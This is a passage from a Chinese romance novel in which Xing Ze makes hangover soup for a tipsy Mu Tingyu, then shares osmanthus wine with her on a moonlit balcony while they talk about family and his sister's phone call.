刑泽背部肌肉紧绷,侧过脸看着她毛茸茸的发顶和光洁莹白的脑门,无可奈何地吐出一口气。
好不容易到了门口,他停下脚步蹲下,冲着背后喊道:“醉鬼,下来。”
牧听语:“呼噜呼噜。”
刑泽:“......”
他压低声音,威胁道:“你下不下来?”
牧听语:“我睡着了。”
刑泽无可奈何,耐着性子哄她:“先下来,我去给你煮醒酒汤。”
“不喝,难喝,不喝不喝。”牧听语脑袋在他肩上乱蹭。
“赖着不下来了?刚刚说不要背的是谁?”
“你说什么我听不见。”
刑泽与她僵持了一会儿,她说什么都不肯下来,双腿还在他腰侧不停乱动。
他没办法,只好先背着她走进屋内,进了厨房。
牧听语支起脑袋问道:“你准备干什么呀?”
“给某个醉鬼煮醒酒汤。”
“谁?!你给谁煮!”
刑泽:“......”
他以后绝对不会让这个人随便沾酒了。
他走到凳子旁边,扭过头低声说:“我放手了啊,站好。”
“?!”牧听语感觉腿上的支撑突然一松,两只脚受重力影响瞬间下滑,啪嗒一声掉到了地上。
她晕晕乎乎地扒拉着刑泽的肩膀,感觉脚有点软,顺势往下坐去。
刑泽手疾眼快地拉住她,把她按到了凳子上面。
他低下头命令:“乖乖坐着。”
牧听语低着脑袋,点了点头。
他微不可察地松了口气,走到料理台前。
动作迅速地拿了生姜洗净切片,放进锅里加水开煮,等汤底变成淡黄色后加进洗干净的枸杞,再煮一会儿后关火。
家里没有新鲜柠檬了,他怕牧听语不喝,又找出蜂蜜来加了几勺下去。
他把汤盛出来放凉,问凳子上的人:“晚上吃饱了吗?想不想喝粥?”
牧听语两只手放在膝盖上,眼睛睁得大大的:“我想吃饺子。”
刑泽冷声无情:“没有。”
那边的人没声音了。
“......”刑泽又开口,“你下午还没开始包就跑了,哪
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来的饺子给你吃?”
牧听语闷闷的声音传来:“没跟你说话。”
他几乎要被气笑,擦干净手之后走过去,一言不发地俯视她。
牧听语见他不说话,歪起脑袋。
刑泽绷起脸:“......不许撒娇,我还没跟你算账。”
牧听语眨了眨眼睛:“算什么账?”
刑泽盯着那双漂亮的眼睛看了一会儿,突然伸手遮住了它。
长长的睫毛在他掌心轻微刷动,他心里的某一处也跟着开始痒了起来。
——算你听到我和女孩子打电话,却没有反应的账;算你明明说了晚上要在家吃饭,却食言的账。
他看着女孩仰着脑袋乖乖任他摆布的模样,无可奈何地弯起唇角,锐利的眉眼线条顿时变得柔和下来。
他微微用力,推开她的脸,低声开口:“算你背着我偷偷喝酒的账。”
“那好办呀。”牧听语兴高采烈地说,“你也喝嘛!桂花酒呢!上桂花酒!这可是我专门......”
刑泽挑起眉:“专门?”
“专门.....”牧听语舌头打了个结,残存的理智莫名其妙回笼,“......问老板讨来自己喝的。”
“......”
刑泽:“起来。”
“?”牧听语大惊失色,用手紧紧抓住凳子的边缘,“为什么?你连凳子都不愿意给我坐了吗?”
刑泽:“起来,不然我揍你。”
“???”
他那个语气听起来像是马上要动手收拾自己,牧听语迫于淫威,吓得赶紧招了:“等等等等,其实,其实就、就是为了你买的......”
刑泽低头凝视着她。
“真、真的,”牧听语伸手扯他的衣角,嘀嘀咕咕道,“我才不喜欢喝酒,我是看你喜欢才买的。”
说完她又有点小骄傲,仰起脑袋:“开心吗?我都听老板说了,你问他要了很多回、都没要到呢!”
刑泽低声问:“你怎么知道我喜欢?”
“因为小苹姐说要给你送酒的时候,你明明很高兴嘛!”牧听语用手比划着,声音有些含含糊糊,“就那天,我在三楼被你、被你逮着训的那天,你还记得吗?”
刑泽目光沉沉地开口:“你果然在偷听我打电话。”
“?”牧听语喊冤道,“你怎么又来?那是因为小苹姐的声音太活力了,都冲出听筒了,我......”
“开心。”
她止住话语,懵懵地抬起头。
刑泽俯身摸上她的发顶,像是怕她没听见,又加重语气说了一遍:“开心。”
刑泽很少这样直白地表达自己的情绪,以至于牧听语与他对视上时,猝不及防被他的眼神烫了一下。
她眼睫一颤,迅速低下脑袋:“开、开心就好。”
一坛酒而已,怎么搞得这么郑重其事的样子。
刑泽把醒酒汤端过来放在桌上,汤放凉了一会儿,已经没那么烫。
她俯身凑过去,有些嫌弃地闻了闻:“等会儿喝行不行.....”
“不行。”刑泽坐在桌边盯着她,一副铁面无私的样子,“趁热喝。”
她瘪了瘪嘴,捏着鼻子嘬了一口。
“不好喝。”她皱着脸评价道。
“再喝两口,不然明天你要头疼。”
她便又俯下身,勉强喝了两口,然后就不愿意再碰。
刑泽静静地坐着,看着她吐着舌头扯了张餐巾纸。
他耐心地等她把嘴擦完,缓过来劲,看向自己时——语气平静地开口。
“你刚刚说,你不喜欢喝酒。”
牧听语手一僵。
“那你今晚为什么喝?”
18. 酒香
刑泽的询问声很快散在这一小片空间里。
牧听语捏紧手中的纸团,勉强笑道:“因为石头的爸爸邀请我喝,我不好意思拒绝嘛。”
刑泽不置一词。
“对、对了,那个桂花酒呢,你放哪里去啦?我想尝尝......”
刑泽脸上看不出情绪:“晚上不许再喝了。”
牧听语讨好地看着他:“那你尝尝嘛,我不喝。你没有背着我偷偷喝吧?”
刑泽沉默地盯了她两秒,起身从橱柜里拿出装着桂花酒的酒坛。
开了盖,一股甜润馥郁的桂花香瞬间弥漫出来,像是把路过桂花树时闻到的甜丝丝、暖融融的香气浓缩了十倍,然后融入酒中,散发出的极具穿透力的成熟香气。
牧听语凑在坛口猛嗅了几下:“好香好香。”
刑泽拿了玻璃杯,找出长勺舀了半杯。
牧听语连忙提议:“再、再舀一点?”
刑泽看了她一眼,又舀了一勺,舀完就重新把酒坛封好,放回了橱柜里。
牧听语眼巴巴地看着。
杯里的酒液散发着诱人的香气,跟她今晚喝的兑水白酒比起来,简直可以说是琼浆玉液。
她捧着酒杯嗅了嗅,很快就被敲了一下脑袋。
刑泽伸手拿走杯子,凉凉道:“不是不喜欢喝酒?”
“这个闻起来这么甜,肯定是饮料吧?怎么会是酒呢?”
牧听语眯起眼,笑得甜滋滋的,伸手去够。
刑泽把手一扬:“起来,上楼了。”
“咦,咦。”牧听语茫然地看着他:“不、不喝啦?”
“去阳台喝。”
牧听语眼看着他边往外走,边端起玻璃杯喝了一口,连忙撑着桌子站起身:“好喝吗?”
刑泽站在门口等她:“还行吧。”
“怎么会还行呢?”牧听语不敢走快,慢慢挪着脚步走到门口,又伸出手:“你是不是喝不来?让、让我尝尝。”
刑泽面无表情地抽手,“啪”一下关了灯。
门口的小灯没开,屋里里瞬间变得一片漆黑。
“哎!”牧听语惊了一声,“天黑啦!”
她感觉身旁的人没走,还站在原地,于是伸手去摸,嘴里嚷嚷道:“我看不见啦!我瞎啦!你在哪呢?”
手胡乱摸索了一阵,碰到了一堵坚实灼热的墙。
牧听语脑中突然一闪,觉得这场面似曾相识。
像是坐了时光机一样,倒回到来这里的第一天。
那时三楼房间里也是一片漆黑,刑泽过来扶她,她也是像这样摸到了他的胸膛。
记忆里两个人都松手得很快,然后就是刑泽打开灯,面带冷意地训斥她。
她抖了一下,下意识地缩回手。
缩到一半,一只灼热的手掌就率先伸过来,紧紧扣住了她的手腕。
她下意识挣了一下,发现动弹不得。
——紧接着,她闻到了一股桂花酒香。
不像酒坛刚刚打开,或者是盛在玻璃杯里的那种浓郁香气,而是略带着点温暖、柔和意味的淡香,萦绕在她的鼻尖。
她刚想仔细辨认,下一秒那道香气就消失不见,消散在了空气里。
她有些遗憾地动了动手指,听到了刑泽微哑的声音。
“走。”
牧听语应了一声,乖乖跟在他身后,在黑夜里眨了眨眼睛。
刑泽牵着她到了二楼,开了楼道灯,却没有松开她,拉着她直直往三楼走去。
牧听语扒着扶梯不肯走。
她虽然喝了酒有些迷糊,却还惦记着他冷声警告自己的那次。
见他看过来,她便义正言辞地问:“不是你不让我上三楼吗?”
刑泽无奈地说:“让。”
“真的吗?”牧听语怀疑地觑他,“这不是我自己想上的哦,是你邀请我上去的哦,明天你可不许骂我。”
“不骂。”
她高兴起来,也不用他牵了,自己“噔噔”往上走,像地主一样仰起脑袋在三楼走了一圈,最后在刑泽无奈的目光中,往杂物间走去。
她开了灯,表情一瞬间变得惊讶。
她指着房间内整齐堆放的物件,有些结巴:“田、田螺姑娘来了?”
刑泽轻拍一下她的脑门:“田你个头,进去。”
牧听语愣愣地转了一圈,感觉来到了一个全然陌生的领域:“你自己理的?不是,地上那些东西呢?之前的垃圾杂物间去哪了?”
刑泽:“......”
她又问:“你什么时候理的?”
刑泽沉默了一瞬:“...前几天吧。”
牧听语往阳台走去,头也不回地问:“怎么突然想起来理呀?怎么都不喊我帮忙呀?”
刑泽看着她的背影,低声回答:“太乱了,容易绊倒。”
“确实哎,我上次就差点摔倒了。”牧听语没心没肺地往摇椅上一靠,伸出一只手招了招,“快来快来,月亮好漂亮。”
刑泽端着玻璃杯走过来,俯视着摇椅里毫无形象的人:“起来。”
牧听语用手扒住摇椅扶手:“你好小气,我可是客人!”
“白吃白喝的客人?”
牧听语登时心虚地往躺椅里一缩,嘀嘀咕咕道:“不是给你买酒喝了。”
刑泽眼里带着一丝笑意:“老板送的。”
“那也是我亲自、讨来、一路抱回来的!”牧听语连忙大声声明。
刑泽想起她下午一路小心翼翼的样子,眼里笑意更盛,从屋内拖了张椅子出来。
牧听语见他没有再赶人,便心安理得地伸长双腿,舒舒服服地在摇椅里窝了一个位置,仰起脑袋看天上悬挂的月亮。
她摆烂咸鱼一般的坐姿简直没眼看,刑泽心觉好笑,也懒得管她,自顾自坐下喝了口酒。
月亮圆润莹白,看上去不像平时那样遥不可及,低低悬在墨蓝的空中,散发着柔和清冷的光晕,不远处的海面被照得一片波光粼粼。
牧听语听着阵阵海浪拍打的轻响,意识有点模模糊糊,可还是坚持伸出手去:“给我喝一口。”
“刚刚是谁说不喝?”
“不知道,谁说的。”
“明天再喝。”
“现在就想喝。”
“不行。”
“行。”
刑泽朝她看去:“耍赖是吧?”
牧听语的脑袋歪歪斜斜地靠在椅背上,雪白的脖颈露在月光下,肩颈线弧度很漂亮,像一只飞鸟的翅膀。
他喉结瞬间一滚,接着听到她不死心地再次开口:“我就喝一口,就沾一下。”
她的声音软软和和的,带着一丝醉意,漂亮的眼睛也微微眯着,眼尾狭长勾人。
刑泽目光扫到她嫩红的、带着细微水光的嘴唇,狠狠一滞,继而急促地移开视线,把酒杯递给她:“就一口。”
咦。
牧听语支起脑袋。
她“求求你了”四个字都在嘴边了,答应得这么快。
她生怕这人反悔,飞速捞过酒杯,低头嘬了一口。
下一秒,眼睛就亮了起来。
果然很好喝嘛,虽然喝着酒味要比闻着浓很多,但口感很顺滑,喝下去喉咙暖暖的,满嘴都是桂花香。
没有对比就没有伤害呀。
她惬意地把眼睛眯成一条缝,然后端起酒杯准备再喝一口。
下一
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秒,酒杯腾空而起,她还没反应过来,脑门就被弹了一下。
“就一口。”
她捂着额头不甘地看去,见刑泽站在她身侧,仰起头,把杯中的酒液全部倒入了口中。
玻璃杯里起码还剩下四分之一的量,杯子也不小,这一口下去估计得有一两。
她好奇问道:“你酒量很好吗?”
刑泽低下头瞥她一眼:“还行。”
“还行是多少?”
“比你好。”
牧听语无语地看着他:“你幼不幼稚?”
刑泽把杯子放在扶手台面上,低低笑了一声。
牧听语大人不记小人过,重新仰起脑袋看天。
还没有入夏,晚风微凉,她耳侧的发丝被轻轻吹动。
刑泽问她:“冷吗?”
“不冷。”牧听语笑着摇摇头,一指月亮感叹道,“真的好圆。”
“月圆归家呀,”她低声喃喃,侧过头问刑泽,“你中秋会回家吗?”
刑泽回答:“没事就不回。”
她“唔”了一声。
“你回吗?”
“嗯......”牧听语笑道,“回的。”
刑泽看着她笑意盈盈的眼睛,问:“你出来支教,你爸妈知道吗?”
牧听语没想到他会问这个问题,有些无奈地蹙起眉头:“我都二十五啦。可以自己决定的。”
“我以为你是那种做什么都要跟爸妈报备的小孩。”刑泽看了她一眼,意有所指,“你朋友圈不是说半夜吃垃圾食品会被骂?”
牧听语扑哧一笑,迅速反击道:“你偷看我朋友圈!”
刑泽淡淡说:“反应这么快,你没醉?没醉起来,不准坐我的摇椅。”
牧听语才不听他讲,伸手去拉他的衣角:“今年中秋,记得回家呀!”
刑泽眉一挑:“为什么?”
“这有什么为什么?”牧听语奇怪地看他一眼,“跟家里人聚一聚,多好呀。”
刑泽回想了一下屈指可数几次和老爷子坐在一张桌上吃饭的场景,不是鸡飞狗跳就是吵架结尾,还是算了,他还没到要折磨自己的程度。
牧听语定定地望着月亮看,眼睛里没什么神采。
刑泽眉头轻轻一皱:“困了吗?”
她揉揉眼睛:“有一点。”
“那睡觉。”
她乖乖起身:“好。”
可能是之前喝的醒酒汤起效果了,她看上去不用人牵着也能走得平稳。
刑泽看着她扶着墙壁慢慢往下走,还是跟了上去。
他把人送到二楼,看着她有些瘦的背影,询问的话语就在喉咙口。
想抓住她的手腕,看着她的眼睛,问她到底发生了什么事。
为什么晚上回来的时候,看上去那么难过。
以至于展露出这副从未有过的、带着些脆弱和依赖的姿态,像是在他身上汲取温暖一样。
可她不想说。
所以这件事并不是像余力的事情一样,他问,她就会求助他。
或者说,他根本帮不了她,所以她不说。
——而他现在也没有任何身份和立场,要求她必须要告诉自己。
刑泽照常停在楼梯口,开口:“牧听语。”
牧听语疑惑地转过头,眼睛里迷蒙不清,像是困得不行了。
刑泽目光沉沉地看着她。
“今天和我打电话的女孩子,是我姐姐。”他开口,“‘你们女孩子’里的‘们’,说的也是她。”
闻言,牧听语一愣,接着笑了:“好的,知道啦。”
刑泽看着她的背影,无奈地捏了捏眉心。
你知道什么,笨蛋。